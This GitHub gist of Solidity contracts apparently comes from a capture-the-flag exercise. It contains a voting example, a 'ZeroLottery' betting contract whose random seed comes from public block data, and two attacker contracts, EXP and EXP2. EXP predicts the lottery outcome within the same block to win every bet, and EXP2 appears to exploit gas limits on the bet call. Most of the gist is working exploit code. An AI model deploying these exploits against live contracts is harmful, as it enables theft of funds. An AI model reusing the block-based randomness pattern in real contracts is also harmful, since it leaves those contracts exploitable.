Skip to content

Instantly share code, notes, and snippets.

@UltramanGaia
Created May 29, 2018 09:14
Show Gist options
  • Save UltramanGaia/17f364396b3acef4ff40de1f2f9241cd to your computer and use it in GitHub Desktop.
Save UltramanGaia/17f364396b3acef4ff40de1f2f9241cd to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.24+commit.e67f0147.js&optimize=false&gist=
pragma solidity ^0.4.0;
contract Ballot {
struct Voter {
uint weight;
bool voted;
uint8 vote;
address delegate;
}
struct Proposal {
uint voteCount;
}
address chairperson;
mapping(address => Voter) voters;
Proposal[] proposals;
/// Create a new ballot with $(_numProposals) different proposals.
function Ballot(uint8 _numProposals) public {
chairperson = msg.sender;
voters[chairperson].weight = 1;
proposals.length = _numProposals;
}
/// Give $(toVoter) the right to vote on this ballot.
/// May only be called by $(chairperson).
function giveRightToVote(address toVoter) public {
if (msg.sender != chairperson || voters[toVoter].voted) return;
voters[toVoter].weight = 1;
}
/// Delegate your vote to the voter $(to).
function delegate(address to) public {
Voter storage sender = voters[msg.sender]; // assigns reference
if (sender.voted) return;
while (voters[to].delegate != address(0) && voters[to].delegate != msg.sender)
to = voters[to].delegate;
if (to == msg.sender) return;
sender.voted = true;
sender.delegate = to;
Voter storage delegateTo = voters[to];
if (delegateTo.voted)
proposals[delegateTo.vote].voteCount += sender.weight;
else
delegateTo.weight += sender.weight;
}
/// Give a single vote to proposal $(toProposal).
function vote(uint8 toProposal) public {
Voter storage sender = voters[msg.sender];
if (sender.voted || toProposal >= proposals.length) return;
sender.voted = true;
sender.vote = toProposal;
proposals[toProposal].voteCount += sender.weight;
}
function winningProposal() public constant returns (uint8 _winningProposal) {
uint256 winningVoteCount = 0;
for (uint8 prop = 0; prop < proposals.length; prop++)
if (proposals[prop].voteCount > winningVoteCount) {
winningVoteCount = proposals[prop].voteCount;
_winningProposal = prop;
}
}
}
pragma solidity ^0.4.24;
contract Help{
function getBalance(address _address) public constant returns (uint256){
return _address.balance;
}
address public msg_sender;
uint public guess;
function setGuess(uint n) public payable{
msg_sender = msg.sender;
guess = n;
}
}
pragma solidity ^0.4.21;
contract ZeroLottery {
struct SeedComponents {
uint component1;
uint component2;
uint component3;
uint component4;
}
uint private base = 8;
address private owner;
mapping (address => uint256) public balanceOf;
function ZeroLottery() public {
owner = msg.sender;
}
function init() public payable {
balanceOf[msg.sender] = 100;
}
function seed(SeedComponents components) internal pure returns (uint) {
uint secretSeed = uint256(keccak256(
components.component1,
components.component2,
components.component3,
components.component4
));
return secretSeed;
}
function bet(uint guess) public payable {
require(msg.value>1 ether);
require(balanceOf[msg.sender] > 0);
uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;
if (guess != n) {
balanceOf[msg.sender] = 0;
// charge 0.5 ether for failure
msg.sender.transfer(msg.value - 0.5 ether);
return;
}
// 10 ether
// charge 1 ether for success
msg.sender.transfer(msg.value - 1 ether);
balanceOf[msg.sender] = balanceOf[msg.sender] + 100;
}
function paolu() public payable {
require(msg.sender == owner);
selfdestruct(owner);
}
}
pragma solidity ^0.4.24;
contract EXP{
struct SeedComponents {
uint component1;
uint component2;
uint component3;
uint component4;
}
uint private base = 8;
constructor ()public payable {}
function () public payable {}
function callInit(address addr) public {
require(addr.call(bytes4(keccak256("init()"))));
}
function seed(SeedComponents components) internal pure returns (uint) {
uint secretSeed = uint256(keccak256(
components.component1,
components.component2,
components.component3,
components.component4
));
return secretSeed;
}
function callBet(address addr) payable public {
uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
uint n = uint(keccak256(uint(address(this)), secretSeed)) % base;
require(addr.call.value(1.1 ether)(bytes4(keccak256("bet(uint256)")), n));
}
}
pragma solidity ^0.4.24;
contract EXP2{
uint sendBackValue;
constructor ()public payable {}
function () public payable {
require(msg.value == 1);
}
function callInit(address addr) public {
require(addr.call(bytes4(keccak256("init()"))));
}
function callBetForTest(address addr) payable public {
assert(addr.call.value(2 ether)(bytes4(keccak256("bet(uint256)")), 1));
}
// false
// transaction cost 29512
// execution cost 21832
// total = 51344
// true
// transaction cost 44797
// execution cost 22117
// total = 66914
function callBet(address addr) payable public {
assert(addr.call.gas(60000).value(2 ether)(bytes4(keccak256("bet(uint256)")), 1));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment